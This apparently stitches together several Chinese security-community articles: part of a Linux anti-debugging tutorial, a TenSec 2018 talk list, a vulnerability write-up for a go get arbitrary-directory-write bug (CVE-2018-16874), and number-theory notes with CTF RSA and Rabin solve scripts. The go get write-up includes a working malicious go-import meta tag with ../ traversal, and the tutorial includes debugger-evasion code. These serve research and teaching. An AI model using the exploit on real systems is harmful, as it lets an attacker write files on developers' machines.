snprintf(buf1, 24, "/proc/%d/cmdline", getppid());
fp = fopen(buf1, "r");
fgets(buf2, 0x100, fp);
fclose(fp);
if(!strcmp(buf2, "gdb") || !strcmp(buf2, "strace")||!strcmp(buf2, "ltrace"))
{
printf("Debugger detected");
return 1;
}
printf("All good");
return 0;
}
**3.忽略int3异常信号**
调试中最常见的操作便是下断点，而一般的下断点的方法就是在即将执行的指令前插入int3的字节码 (CC) ，在程序执行到int3时，就会触发 SIGTRAP
信号，而调试器就会接收到这些信号进行并对子进程进行处理，而如果子进程通过设置signal函数忽略SIGTRAP
信号，就可以使得断点无效，也就能达到反调试的作用
但是这个操作似乎只适用于反调试远古时期的gdb，现在的最新版本gdb基本上都防不住，仅提供一种思路
**4.设置时间间隔**
在程序启动时，通过alarm设置定时，到达时则中止程序 ，这样就不能长时间调试程序
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
void alarmHandler(int sig)
{
printf("don' t debug me");
exit(1);
}
void__attribute__((constructor))setupSig(void)
{//设置程序一开始就执行
signal(SIGALRM, alarmHandler);
alarm(3);
}
int main(int argc, char *argv[])
{
getchar();
puts("hello!");
puts("hello!");
puts("hello!");
return 0;
}
当然还是比较容易绕过，方法很多很多
## 参考链接
<https://blog.toby.moe/linux-anti-debugging/>
<http://www.voidcn.com/article/p-hogkwhfh-ys.html>
<https://blog.csdn.net/stonesharp/article/details/8211526>
<http://drops.xmd5.com/static/drops/mobile-16969.html> | 社区文章 |
TenSec 2018 腾讯安全国际技术峰会于10月10日—11日在深圳召开，本届 TenSec
依然延续高质量、高规格的标准，官方公开的十五个信息安全议题，覆盖物联网、车联网、云计算、区块链、iOS、人工智能、安卓操作系统等时下最热的研究领域。
**[【议题PPT下载】](https://share.weiyun.com/5IJZPBp "【议题PPT下载】")**
## 1\. Fuzzing in the mobile world: the challenges, ideas, questions and (some
of) answers
演讲人：高通柏林团队高级工程师Tomasz Kuchta
对于基带这类底层但复杂度又不断提高的系统，业界一直缺乏有效的Fuzzing手段——往往依赖于代码审查。高通作为移动设备最主要的基带供应商，非常需要一套高效率的Fuzzer来保证代码的安全性，来自高通柏林团队的高级工程师Tomasz将介绍高通在这方面的探索和尝试。
## 2\. A Look At The Samsung Shannon Baseband
演讲人：“非洲第一黑客”、美国著名CTF战队Shellphish前主力队员、Securin科技创始人Amat Insa Cama
“非洲第一黑客”Amat Insa Cama探讨高通基带的“对手”三星Shannon基带的安全，他曾在Mobile Pwn2Own
2017上攻破了三星基带，这也是当时单项分数最高的破解项目。本次议题，他基于去年MP2O上攻破三星基带的细节，解读三星基带的安全性。
## 3\. The Application of Anti-fraud in Marketing Risk Control
演讲人：腾讯云高级研究员Bink Chen
“薅羊毛”等行为正在严重影响企业正常的营销开展，思考反欺诈和营销风控的结合逐渐成为破局之道。腾讯云高级研究员Bink
Chen将介绍视频/电商等业务平台方在流量营销/线上线下活动营销中碰到的“羊马牛”黑产演变情况，以及腾讯云天御如何运用基于大数据无监督平台的反欺诈技术对抗黑产团伙的作恶。
## 4\. Exploring the Safari: Just-In-Time Exploitation
演讲人：趋势科技安全研究员Jasiel Spelman
近年来，脚本引擎的JIT相关漏洞在持续引发业内关注。在Pwn2Own 2017上，多支顶尖国际安全团队都曾使用了JIT
相关的漏洞，完成对目标对象的破解。趋势科技安全研究员Jasiel Spelman将解读这个大热领域的最新研究成果。
## 5\. Secure Foundation for Connected Devices-Platform Security Architecture
演讲人：ARM高级主管Samuel Chiang
“万物互联”带给人类全新体验的同时，物联网设备也面临着更大的碎片化。因此ARM公司希望从源头开始整合资源，提出了首个业内通用框架——平台安全架构（PSA），旨在为万物互联奠定可信基础。来自ARM的高级主管Samuel
Chiang将深度解读PSA，进一步提高行业对物联网安全的认识。毫无疑问，任何对开发安全的物联网设备或应用程序/服务感兴趣的研究者都不应错过。
## 6\. Chainspotting: Building Exploit Chains with Logic Bugs
演讲人：MWR信息安全顾问Georgi Georgiev Geshev
每年的Pwn2Own都是见证全球白帽黑客脑洞的时刻，而来自MWR的信息安全顾问Georgi Georgiev Geshev曾在2017年 Mobile
Pwn2Own的比赛中，上演了用逻辑洞破解目标的精妙操作，最终，Georgi收获了该赛事的两个单项冠军。2018年，Georgi还在Pwn2Own中斩获一个单项冠军；另外还凭借一个技惊四座的逻辑漏洞利用链获得了“黑客奥斯卡”之称的Pwnie
Award最佳客户端漏洞奖。Georgi也将结合此前研究带来议题《串点成链：利用逻辑漏洞构建漏洞利用链》。
## 7\. On the safety of intelligent devices
演讲人：腾讯安全平台部总监、Tencent Blade Team负责人Lake Hu
腾讯安全平台部总监、Tencent Blade Team负责人Lake
Hu将带来有关智能设备安全的演讲，分享团队研究过的智能设备漏洞案例，如智能家居设备破解、智能楼宇设备破解、智能音箱窃听等。要知道，他们刚刚在DEF CON
2018上带来了攻破亚马逊音箱的精彩演讲。
## 8\. A Dive in to Hyper-V Architecture & Vulnerabilities
演讲人：微软安全工程师、MSRC高级安全研究员Nicolas Joly；主攻漏洞防御方向的Joseph Bialek
微软安全工程师、MSRC高级安全研究员Nicolas Joly和主攻漏洞防御方向的Joseph Bialek将合作带来《A Dive in to
Hyper-V Architecture & Vulnerabilities》议题分享。在2011年至2014年期间，Nicolas
Joly作为VUPEN战队主力成员参加并获得四届Pwn2Own比赛冠军，2015年以独立参赛者的形式获得两个Pwn2Own单项冠军。Nicolas
Joly后续加入了微软，是抗击WannaCry勒索病毒事件的主力工程师。
## 9\. 汽车信息安全整体解决方案
演讲人：NXP汽车安全部门总监Timo van Roermund
车联网逐渐成为安全技术峰会愈加关注的议题之一，主办此次峰会的腾讯安全科恩实验室就曾发布过特斯拉、宝马等国际一流车企的安全研究成果。此次峰会上，来自NXP汽车安全部门总监Timo
van Roermund将带来议题《汽车信息安全整体解决方案》，从行业角度入手阐释为什么汽车信息安全性很重要。
## 10\. 从有界到无界的新一代企业安全防御之道
演讲人：腾讯企业IT部安全运营中心蔡晨
云计算、大数据、人工智能等新技术在掀起数字化转型浪潮的同时，也改变了传统的网络边界，带来了全新的威胁风险。来自腾讯企业IT部安全运营中心的蔡晨，将演绎腾讯从IT安全到业务创新、从有界到无界的新一代企业安全防御之道，分享腾讯是如何快速响应市场趋势变化，将“零信任”安全完整落地。
## 11\. Enabling Confidential Computing in Cloud with Intel SGX and its
Library Oses
演讲人：Intel科学研究员Hongliang Tian
在云计算领域，Intel科学研究员Hongliang Tian将带来使用英特尔SGX及其Library
OSes在云中实现加密计算的主题演讲，这也是Intel首次对外演讲SGX与云计算安全加密相关的议题。
## 12.一个佛系安全研究员眼中的区块链世界观
演讲人：知道创宇CEO赵伟
腾讯安全联合知道创宇发布《2018上半年区块链安全报告》显示，2018年上半年，区块链因安全问题损失的金额已超过27亿美元，区块链的安全问题已迫在眉睫。作为国内领先的安全厂商，知道创宇近年来持续关注区块链安全，今年还发起中国区块链安全联盟。那在安全研究员眼中的区块链又是一个怎样的世界？知道创宇CEO赵伟将亲自揭晓。
## 13\. iOS 越狱
演讲人：高级独立安全研究员Luca Todesco
如果要在现实世界寻找一个天才极客的形象，那么或许意大利的Luca
Todesco能满足你的所有想象：19岁之前，一共发了3个iOS越狱工具，2次越狱了PS4以及1次任天堂Switch越狱。更令人惊讶的是，他还入选了福布斯2017年欧洲科技类30
Under 30 名单。本次分享的议题正是他的拿手好戏——iOS 越狱。
## 14\. 揭秘 SEPOS 内部运作机制
演讲人：Corellium联合创始人Christopher Wade、Yiduo David Wang
分享iOS 研究的还有Corellium的两位联合创始人： Christopher Wade和 Yiduo David
Wang。他们有一串惊人的头衔：最早的iOS越狱开发者；iPhone Dev team核心成员；Evad3rs的主要成员；福布斯2014年30
Under30全球科技类；Pwnie
Award的“最佳提权漏洞”获得者，并在2014年再次被提名。他们将在TenSec上聚焦运行在iOS底层的SEPOS安全问题。
## 15\. 如何保护安卓生态系统
演讲人：腾讯安全科恩实验室高级安全研究员James Fang
压轴登场的议题来自腾讯安全科恩实验室。近年来科恩实验室在车联网安全、iOS安全研究等方面的成果备受瞩目，同时，科恩实验室也积极地将研究成果应用于信息安全行业解决方案。本次峰会上，科恩实验室高级安全研究员James
Fang将挑选安卓生态作为一个切入点，揭示科恩实验室在保护用户安全方面所做的努力。
* * * | 社区文章 |
**作者：ztz**
**来源：<https://projectsharp.org/2019/05/26/go-get-v-cve-2018-16874/>**
这是一篇拖了很久的文
起因是某次给 godoc.org 提交 RCE 后，突然好奇起同样机制的 go get 会不会也存在相似的洞
于是便开始分析 go get 的内部实现，没想到意外的在另一处发现了一个有意思的洞
## 开始
`go get` 会根据 `import path` 获取指定依赖包到本地，对其进行编译和安装，如：
$ go get github.com/jmoiron/sqlx
`go get` 大概逻辑是这样（对应代码在 `src/cmd/go/internal/get` 我懒得贴了）：
* 解析 `import path`，判断是否为已知托管平台（Github、Bitbucket 等）
* 若目标依赖位于已知平台，调用写死的规则去解析
* 若目标依赖位于未知站点，就动态解析
而根据官方文档，如果 `import path` 未知，`go` 会尝试解析远程 `import path` 的 `<meta>` 标签：
> If the import path is not a known code hosting site and also lacks a version
> control qualifier, the go tool attempts to fetch the import over https/http
> and looks for a tag in the document’s HTML
合法的 `<meta>` 标签格式为：
<meta name="go-import" content="import-prefix vcs repo-root">
各字段含义如下：
* `import-prefix` 表示 `import path` 的仓库根地址，当页面出现多个 `go-import` 标签时 `go` 就靠这个字段选择正确的标签
* `vcs` 表示使用的版本控制系统如 `git`, `hg` 等
* `repo-root` 表示仓库地址
`Go` 解析到正确的标签后，会做一些校验，其中一个是 `import-prefix` 必须是用户输入的 `import path`
的前缀，这个校验使我直接打消了在 `import-prefix` 中插入 `../` 的想法（这是之前 godoc 那个洞的思路）
然后根据 `vcs` 代表的版本控制系统生成对应的实例：
rr := &repoRoot{
vcs: vcsByCmd(metaImport.VCS),
repo: metaImport.RepoRoot,
root: metaImport.Prefix,
}
每种不同的实例都拥有统一的接口方法
type vcsCmd struct {
name string
cmd string // name of binary to invoke command
createCmd string // command to download a fresh copy of a repository
downloadCmd string // command to download updates into an existing repository
tagCmd []tagCmd // commands to list tags
tagLookupCmd []tagCmd // commands to lookup tags before running tagSyncCmd
tagSyncCmd string // command to sync to specific tag
tagSyncDefault string // command to sync to default tag
scheme []string
pingCmd string
}
命令按照功能划分，具体执行的命令由底下的实例自己填充，如 `git`：
var vcsGit = &vcsCmd{
name: "Git",
cmd: "git",
createCmd: "clone {repo} {dir}",
downloadCmd: "fetch",
tagCmd: []tagCmd{
// tags/xxx matches a git tag named xxx
// origin/xxx matches a git branch named xxx on the default remote repository
{"show-ref", `(?:tags|origin)/(\S+)$`},
},
tagLookupCmd: []tagCmd{
{"show-ref tags/{tag} origin/{tag}", `((?:tags|origin)/\S+)$`},
},
tagSyncCmd: "checkout {tag}",
tagSyncDefault: "checkout origin/master",
scheme: []string{"git", "https", "http", "git+ssh"},
pingCmd: "ls-remote {scheme}://{repo}",
}
拿到实例后， `Go` 将其中的 `import-prefix`, `vcs`, `repo-root` 取出后：
rr, err := repoRootForImportPath(p.ImportPath)
if err != nil {
return err
}
vcs, repo, rootPath = rr.vcs, rr.repo, rr.root
直接交给实例 `vcs` 执行创建操作：
root := filepath.Join(p.Internal.Build.SrcRoot, filepath.FromSlash(rootPath))
if err = vcs.create(root, repo); err != nil {
return err
}
vcs.create` 的目的是将远端 `repo` 克隆到本地 `root` 中，实现方法是调用 `vcs` 的 `createCmd
func (v *vcsCmd) create(dir, repo string) error {
return v.run(".", v.createCmd, "dir", dir, "repo", repo)
}
func (v *vcsCmd) run(dir string, cmd string, keyval ...string) error {
_, err := v.run1(dir, cmd, keyval, true)
return err
}
前面说了，命令是每个实例自己负责填充的，`Go`
在这里自己实现了一套模版机制，它将命令看作模版，具体执行时，只要把模版里的变量和实际变量进行一次替换即可方便的生成命令，如 `git` 的 `clone`
命令：
createCmd: "clone {repo} {dir}",
替换方法是简单的 `for` 遍历替换：
func expand(match map[string]string, s string) string {
for k, v := range match {
s = strings.Replace(s, "{"+k+"}", v, -1)
}
return s
}
命令执行是用 `os.exec` 直接将参数传给可执行文件，不存在参数污染的可能。
我只能把注意力放在表示克隆路径上，克隆的路径其实就是 `<meta>` 标签里的 `import-prefix`，前面也说了，`import-prefix`
必须是用户输入 `import-path` 前缀，非但我不可能让用户输入 `go get http://foo.bar/../../`，`Go` 也不允许
`import-path` 里出现非法字符，所以这里没什么操控空间。
也就是说 `<meta>` 标签里的三个可控字段都不好利用。
## 转机
当我正要放弃时，突然想到了 `go` `map` 随机遍历的特性， `map` 结构在底层的实现是 `HashTable`，`key` 的存储是
**无序** 的，所以在使用 `map` 时，`key-value` 的存入顺序和遍历顺序并不一致。
由于担心用户过于依赖 `map` 遍历的顺序，官方特意对 `map` 的遍历做了随机化处理，每次 `map` 进行遍历操作的顺序都不一样， _Andrew
Gerrand_ 在官方博客 <https://blog.golang.org/go-maps-in-action> 里详细说明了这一点：
> When iterating over a map with a range loop, the iteration order is not
> specified and is not guaranteed to be the same from one iteration to the
> next. Since the release of Go 1.0, the runtime has randomized map iteration
> order. Programmers had begun to rely on the stable iteration order of early
> versions of Go, which varied between implementations, leading to portability
> bugs. If you require a stable iteration order you must maintain a separate
> data structure that specifies that order. This example uses a separate
> sorted slice of keys to print a `map[int]string` in key order:
简单写一个 `map` 遍历的程序来测试：
package main
import "fmt"
func main() {
foobar := map[string]int{
"foo": "foo",
"bar": "bar",
}
for k, v := range foobar {
fmt.Println(k, ": ", v)
}
}
这是一个简单的 `map` 遍历代码，如果反复运行该程序，看到的输出顺序是这样的：
$ go run random_map.go
bar : bar
foo : foo
$ go run random_map.go
foo : foo
bar : bar
$ go run random_map.go
foo : foo
bar : bar
输出顺序是随机的，这种随机乱序遍历为我提供了绝处逢生的可能，如果命令模版在变量替换的过程中以我希望的顺序进行，我就可以配合模版变量搞一波事：
func expand(match map[string]string, s string) string {
for k, v := range match {
s = strings.Replace(s, "{"+k+"}", v, -1)
}
return s
}
其中
* `match` 中的 `key` 为模版变量，`value` 为实际值，当前是 `{"dir": import-prefix, "repo": repo-root}`
* `s` 是命令模版 `clone {repo} {dir}`
我若在 `import-prefix` 中放入 `{repo}`，比如 `https://foo.com/bar/{repo}`，再在 `repo`
里插入我的字符：`https://foo.com/bar/../../../../../../../../../../tmp/pwn`，形成这样一个
`match`：
{
"dir": "https://foo.com/bar/{repo}",
"repo": "https://foo.com/bar/../../tmp/pwn"
}
依靠 `map` 乱序遍历特性，找机会让 `expand` 先遍历替换 `{dir}` 再替换 `{repo}`，就可以得到如下结果：
1. 先替换 `{dir}` 得到 `clone {repo} https://foo.com/bar/{repo}`
2. 再替换 `{repo}` 得到 `clone https://foo.com/bar/../../tmp/pwn https://foo.com/bar/https://foo.com/bar/../../tmp/pwn`
这么一来 `../` 便被引入到了克隆目标路径里，一个艰难的任意目录写就出现了，利用 `../` 可以进一步扩大战果，但这不是本篇的重点，就不赘述了。
## 利用
在自己的 web 服务器上设置返回以下内容：
<!DOCTYPE html>
<html>
<head>
<meta name="go-import" content="ztz.me/linux/{repo} git https://ztz.me/../../../../../../../../../../tmp/pwn"/>
</head>
</html>
然后多次运行 `go get ztz.me/linux/{repo}` 就可以在人品爆发时触发利用（多试几次）
* * * | 社区文章 |
# 密码学学习笔记：数论四大定理的证明及其应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
可以发现RSA中的很多攻击方法都是从数论四大定理推导出的，所以找时间好好学习了一下数论四大定理的证明及其应用场景——Rabin算法。
## 欧拉定理
若n,a为正整数，且n,a互素，即gcd(a,n) = 1，则
a^φ(n) ≡ 1 (mod n)
### 证明
首先，我们需要知道欧拉定理是什么：
数论上的欧拉定理，指的是
aφ(n)≡1(mod n)
这个式子实在a和n互质的前提下成立的。
证明
首先，我们知道在1到n的数中，与n互质的一共有φ(n)个，所以我们把这φ(n)个数拿出来，放到设出的集合X中，即为x1,x2……xφ(n)
那么接下来，我们可以再设出一个集合为M，设M中的数为：
m1=a∗x1m2=a∗x2……mφ(n)=a∗xφ(n)
下面我们证明两个推理：
#### 一、M中任意两个数都不模n同余。
反证法。
证明：假设M中存在两个数设为ma,mb模n同余。
即ma≡mb
移项得到：ma−mb=n∗k
再将m用x来表示得到:a∗xa−a∗xb=n∗ka∗xa−a∗xb=n∗k
提取公因式得到a∗(xa−xb)=n∗ka∗(xa−xb)=n∗k
我们现在已知a与n互质，那么式子就可以转化为：
xa−xb≡0（mod n)
因为a中没有与n的公因子（1除外）所以a mod n != 0 所有只能是 xa−xb≡0（mod n)。
又因为xa,xb都是小于n的并且不会相同，那么上述的式子自然全都不成立。
假设不成立。
证得：M中任意两个数都不模n同余。
#### 二、M中的数除以n的余数全部与n互质。
证明：我们已知mi=a∗xi
又因为a与n互质，xi与n互质，所以可得mi与n互质。
带入到欧几里得算法中推一步就好了。
即：
gcd(a∗xi,n)=gcd(mi,n)=gcd(n,mi mod n)=1
证毕。
#### 三、根据我们证得的两个性质，就可以开始推式子了。
首先，根据前两个推论可以知道，M中的数分别对应X中的每个数模n同余。
（即是双射关系：首先M中的数在模n下不同余，即不相同，然后有φ(n)个m；其次有φ(n)个不相同的x与n互质，所以m与x是双射关系）
所以可以得到：
m1∗m2∗……∗mφ(n)≡x1∗x2∗……∗xφ(n)(mod n)
现在我们把替换成x的形式，就可以得到：
a∗x1∗a∗x2∗……∗a∗xφ(n)≡x1∗x2∗……∗xφ(n)(mod n)
aφ(n)∗(x1∗x2……∗xφ(n))≡x1∗x2……∗xφ(n)(mod n)
(aφ(n)−1)∗(x1∗x2……∗xφ(n))≡0(mod n)
然后，由于(x1∗x2……∗xφ(n))!≡0(mod n)
所以 (aφ(n)−1)≡0(mod n)
所以 aφ(n)≡1(mod n)
### 应用：RSA的解密
欧拉定理在RSA中可用于证明 M=Cd mod N ：
## 费马小定理（欧拉定理特殊型情况）
对于质数p，任意整数a，均满足：ap-1≡1（mod p）
那么，ap-2就是a在模p下的逆元了~
## 孙子定理（中国剩余定理 CRT）
设正整数两两互素，则同余方程组
有整数解。并且在模下的解是唯一的，解为
其中，而为模的逆元。
### 证明
具体证明如下：
例：找出所有整数x,使其被3，5和7除时，余数分别为2，3和2
x≡2(mod 3)
x≡3(mod 5)
x≡2(mod 7)
=> x = △ + 3 _5_ 7*t (△为期中的一个解，t为整数）
在同余中最重要的观念就是求出第一个解，那么x = △ + 3 _5_ 7*t就是通解。那怎么求一个解呢？
利用同余的加性：
把x拆成a+b+c,即x = a + b + c
令
a≡2(mod 3)
a≡0(mod 5)
a≡0(mod 7)
=>a=35p(可以看到p取1的时候满足a≡2(mod3),即a=35)
**为何这样取？从接下来的取法可知：** **b** **和** **c** **都会取** **3** **的倍数，这样子就能保证，** **x mod
3 = 2** **，我们标记这样的取法为** **FLAG**
接下来要求b：
b≡0(mod 3)
b≡3(mod 5)
b≡0(mod 7)
=>b=21q(可以看到q取3的时候满足b≡3(mod5),即b=63)
求c
c≡0(mod 3)
c≡0(mod 5)
c≡2(mod 7)
=>c=15m(可以看到m取2的时候满足c≡2(mod7),即c=30)
得
x≡2(mod 3) ≡ a + b + c
x≡3(mod 5) ≡ a + b + c
x≡2(mod 7) ≡ a + b + c
a b c 都求出来之后，可以利用同余的加性
x = a + b + c = 128是一个解，x = 128 + 105t
在适当调整t之后就可以求出x在任何范围内的解，比如说求最小正整数解，这时候t取-1，得x=23
利用同余的乘性：
之前令x = a + b + c,用同余的乘性之后x = 2a’ + 3b’ + 2c’ (此时令a’=b’=c’=1，就相当于同余的加性了)
a’≡1(mod 3)
a’≡0(mod 5)
a’≡0(mod 7)
=>a’=35p(可以看到p取2的时候满足a’≡1(mod3),即a’=70)
接下来要求b’：
b’≡0(mod 3)
b’≡1(mod 5)
b’≡0(mod 7)
=>b’=21q(可以看到q取1的时候满足b’≡1(mod5),即b’=21)
现在来看c’
c’≡0(mod 3)
c’≡0(mod 5)
c’≡1(mod 7)
=>c’=15m(可以看到m取1的时候满足c’≡1(mod7),即c’=15)
有了a’ b’ c’之后就可以得到 x = 2a’ + 3b’ + 2*c’
代入a’ b’ c’之后就可以得到x的一个解及其通解
x = 2*70 + 3*21 +2*15
x = 233 + 105t
在知道同余的加性和乘性之后再看下面这个公式就没有什么问题了
其中，ai就是题目所要求的剩余，M1就是前文提到的标记取法 **FLAG** ，而M1-1就是在同余的乘法性中为了满足a1‘≡1 mod （mi）
## 威尔逊定理
当且仅当p为素数时有，
**(p−1) ! ≡ −1(mod p)**
### 证明：
首先：
p−1 ≡ −1(mod p)
那么我们只需要证明 (p−2)!≡1(mod p)
也就是说，除去 1 后，如果 2,3,…,p−2 能够两两配对，且每对数乘积模 p 后为 1 的话，威尔逊定理就成立了，然后我们考虑这其实就是对于
2,3,…,p−2去找 模 p 意义下的逆元。
然后考虑一下二次剩余里面的衍生知识，我们可以知道对于 x2≡1（mod q）只有两个解（1，p-1），而这两个数已经被我们安排掉了，也就是说
2,3,…,p−2中不存在某个数的逆元是自己本身。
然后 集合 A={1,2,3,…p -1}; 构成模p乘法的缩系，即任意i∈A ,存在j∈A,使得: ( i，j ) ≡ 1 ( mod p )
也就是说，除去1和p-1外，其余的两两配对互为逆元
证毕
## 应用：Rabin算法
在解Rabin算法前，我们需要一些定理、推论
### 定理1
欧拉判别定理， c是模p的平方剩余的充要条件是 ，(c1/2)φ(n) ≡ 1（mod P)
#### 证明：
首先，由于是一个奇素数，由费马小定理，但是是一个偶数，所以有
是一个素数，所以 和 中必有一个是 的倍数。因此模的余数必然是1或-1。
• 证明若是模二次剩余，则
若是模二次剩余，则存在，跟和 互质。根据费马小定理得：
• 证明若，则是模的二次剩余
是一个奇素数，所以关于的原根存在。设是的一个原根，则存在使得。于是
是的一个原根，因此模的指数是，于是整除 。这说明是一个偶数。令 ，就有 。是模 的二次剩余
### 定理2
二次同余式x2 ≡ c (mod p)的解为：
x ≡ ±c(p+1)/4 (mod p)
#### 证明
由于p是素数，显然a与p互素，再由欧拉判别定理， a是模p的平方剩余的充要条件是 ，
(c1/2)φ(n) ≡ 1（mod P)
即(c1/2)p-1 ≡ 1（mod p）
带入原式，得x2 ≡ c·(c1/2)p-1 ≡ c(p+1)/2 ≡ (c(p+1)/4)2
则
x ≡ ±c(p+1)/4 (mod p)
### 定理3
如果整数c满足：
1） c为p的平方剩余
2） c为q的平方剩余
则： c为p*q的平方剩余，解x为：x ≡ ±（c(p+1)/4(mod p))·(q-1(mod p))*q ± （c(q+1)/4(mod
q))*(p-1(mod q))·p (mod p*q)
#### 证明
二次同余式： x2 ≡ c (mod pq)
等价于同余式组 ： x2 ≡ c (mod p) ①
x2 ≡ c (mod q) ②
由定理2
①式解为 x ≡ ±c(p+1)/4 (mod p)
②式解为 x ≡ ±c(q+1)/4 (mod q)
由CRT，解为 x ≡ ±（c(p+1)/4(mod p))·(q-1(mod p))*q ± （c(q+1)/4(mod q))*(p-1(mod
q))·p (mod p*q)
### Rabin加密
选择两个大素数p和q做为私钥
计算n = p * q做为公钥
若明文为m，则密文为c ≡ m^2 (mod n)
### Rabin解密
我们首先计算出x1和x2，使得
x12 ≡ c (mod p)，①
x22 ≡ c (mod q)，②
#### i)p和q都是模4余3的数
由于p是素数，显然c与p互素，再由定理2
得
x1 ≡ ±c(p+1)/4 (mod p)
x2 ≡ ±c(q+1)/4 (mod q)
（一正一负，负的计算可简化为 模–正，如：-x1 ≡ p – x1 (mod p)）
从这里可以看出来如果p和q不是模4余3的话，c的指数就不是一个整数，也就不能用这个方法计算了
接着我们求出p在模q下的逆，设为a，即ap ≡ 1 (mod q)
然后我们求出q在模p下的逆，设为b，即bq ≡ 1 (mod p)
求出来a，b用于中国剩余定理
带入x ≡ ±（c(p+1)/4(mod p))·(q-1(mod p))*q ±（c(q+1)/4(mod q))*(p-1(mod q))·p (mod
p*q)
得 x ≡ ±（c(p+1)/4(mod p))·b*q ±（c(q+1)/4(mod q))*a·p (mod n)
设c(p+1)/4(mod p) 为cp，c(q+1)/4 (mod q)为cq
其中有一个为我们想要的明文m。
exp:
import gmpy2
def n2s(x):
return hex(x)[2:].decode("hex")
c =
p =
q =
n = p*q
c_p = pow(c,(p+1)/4,p)
c_q = pow(c,(q+1)/4,q)
a = gmpy2.invert(p,q)
b = gmpy2.invert(q,p)
x = (b*q*c_p+a*p*c_q)%n
y = (b*q*c_p-a*p*c_q)%n
print n2s(x)
print n2s(n-x)
print n2s(y)
print n2s(n-y)
#### ii)p和q不是模4余3的数
这里涉及 [Cipolla’s algorithm](https://en.wikipedia.org/wiki/Cipolla's_algorithm)
，先知已经有一篇讲的不错的文章了 <https://xz.aliyun.com/t/5113#toc-4>
## 题目实例
### UNCTF – 一句话加密
题目是给了一张图，隐写了一个模n
n = 0xc2636ae5c3d8e43ffb97ab09028f1aac6c0bf6cd3d70ebca281bffe97fbe30dd
可以发现n不大，直接用yafu分解可得
但是找不到e，最后试了试rabin，成功破解
exp用上面的那个就可~
### roarctf – babyrsa
import sympy
import random
def myGetPrime():
A= getPrime(513)
print(A)
B=A-random.randint(1e3,1e5)
print(B)
return sympy.nextPrime((B!)%A)
p=myGetPrime()
#A1=
#B1=
q=myGetPrime()
#A2=
#B2=
r=myGetPrime()
n=p*q*r
#n=
c=pow(flag,e,n)
#e=0x1001
#c=
#so,what is the flag?
加密中的 **(B!)%A** 的 **!** 在这里是阶乘的意思，所以显然这里要用到威尔逊定理，不然这么大的一个数的阶乘，根本吃不消好吧
根据加密逻辑，这里是一个三素数系统，所以φ(n) = (p-1)(q-1)(r-1)，然后r肯定是要通过先求出p，q来得出
然后关于p和q，题目给的信息都一样，所以求p和求q的解法肯定是一样的，
所以题目简化为， **根据** **A1,B1** **解** **p**
而p = (B!)%A （B是一个比A小的数）
虽然A，B均已给出且互素，但显然大数B的阶乘是不可能直接求得的，
所以要用威尔逊定理简化计算
简化过程如下：
已知 B! ≡ P(MOD A)
由于A是素数，所以有： (A-1)! ≡ -1 (MOD A)
即(A-1)(A-2)……(B+1)B! ≡ -1 (MOD A)
根据已知(A-1)(A-2)……(B+1)P ≡ -1 (MOD A)
变形为(A-2)……(B+1)P ≡ 1 (MOD A)
所以p即为(A-2)(A-3)……(B+1) 在模A 下的逆
exp
from gmpy2 import *
import sympy
A1=
B1=
A2=
B2=
n=
e=0x1001
c=
a = 1
for i in range(A1-2,B1,-1):
a = a*i % A1
b = 1
for i in range(A2-2,B2,-1):
b = b*i % A2
p = sympy.nextprime(invert(a,A1))
q = sympy.nextprime(invert(b,A2))
r=n/p/q
phi = (p-1)*(q-1)*(r-1)
d = invert(e,phi)
m=pow(c,d,n)
print hex(m)[2:].decode('hex')
### HECTF – easy_rsa
from gmpy2 import *
from Crypto.Util import number
#e = have a try~
p = number.getPrime(1024)
q = number.getPrime(1024)
nothing = 251560377963038761190200797029988859033 # getPrime(128)
n = p*q
fn = (p-1)*(q-1)
d =inverse(e, fn)
something=(p-1)d+nothing
enc = pow(flag, e, p*q)
#n=
#something=
#enc=
题目给了，nothing（下面记为r），something（下面记为s），其中 (p-1)d= s – r
目的很明确，就是分解大数n
这一题的思路就是利用GCD来约出n的因子
所以首先要获得一个p的倍数
根据费马小定理
2p-1 ≡ 1 (mod p ) 显然成立 (主要是为了利用题目中给出的 **(p-1)d** ）
所以设A = 2p-1 – 1 = kp
然后利用欧拉定理，我们直接利用上文中提到的RSA的解密证明中的结论
(2p-1)ed ≡ (2p-1) (mod n)
由题，(p-1)d = s – r
所以A ≡ 2p-1 – 1 ≡ (2p-1)ed – 1 ≡ 2es-er – 1 (mod n)
所以 gcd( 2es-er – 1 , n)
即 gcd(kp , pq)
即可得到 p
exp:
import libnum
from gmpy2 import *
import sympy
enc=
n=
something=
nothing=
e=1
while(True):
try:
e=sympy.nextprime(e)
a=pow(2,e*something-e*nothing,n)-1
p=libnum.gcd(a,n)
q=n/p
fn=(p-1)*(q-1)
d=invert(e,fn)
flag=libnum.n2s(pow(enc,d,n))
if "hebtu" in flag:
print flag
break
except:
continue
### 构造GCD
可以看出，构造gcd来求大数n的因子以此来分解n是一种很好又很巧妙的方式,来看这一题
from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger
p = getPrime(512)
q = getPrime(512)
n=p*q
a=int(pow((q+p),2019,n))
b=int(pow(p+2019,q,n))
n=
a=
b=
这里，我们要通过已给出的a和b，来分解n
通过a，b和p，q的关系，我们要想办法用a,b凑出一个GCD来求出n的一个因子
解题过程如下：
由 a ≡ (p+q)2019 (mod n)
可得 a ≡ (p+q)2019 ≡ p2019 (mod q) 【二项式展开定理】
由 b ≡ (p+2019)q (mod n)
可得 b ≡ (p+2019)q ≡ p+2019 (mod q) 【费马小定理：(p+2019)q-1 ≡ 1 (mod q)】
所以 a ≡ (b – 2019)2019 (mod q)
即 a = (b – 2019)2019 \+ kq
这样我们就可以凑出一个GCD
GCD（ (b – 2019)2019-a，n）= GCD（ Kq，n）= q
解题完毕
## 总结
这一次学习了数论四大定理的证明、应用，以及rabin密码的解法。发现其实很多解法、攻击方法都是多种定理的结合运用，有时候还要引出各种推论，很灵活~
## 参考
欧拉定理证明： <https://www.cnblogs.com/wangxiaodai/p/9758242.html>
中国剩余定理证明： <https://blog.csdn.net/Rain722/article/details/53230707>
威尔逊定理证明： <https://www.cnblogs.com/Judge/p/10755703.html>
Rabin算法：
<https://veritas501.space/2017/03/01/%E5%AF%86%E7%A0%81%E5%AD%A6%E7%AC%94%E8%AE%B0/>
<https://xz.aliyun.com/t/5113>
<https://en.wikipedia.org/wiki/Rabin_cryptosystem>
<https://blog.csdn.net/qq_24451605/article/details/45093911>
最后感谢Lur大佬的一手指点~ | 社区文章 |
### 一、前言
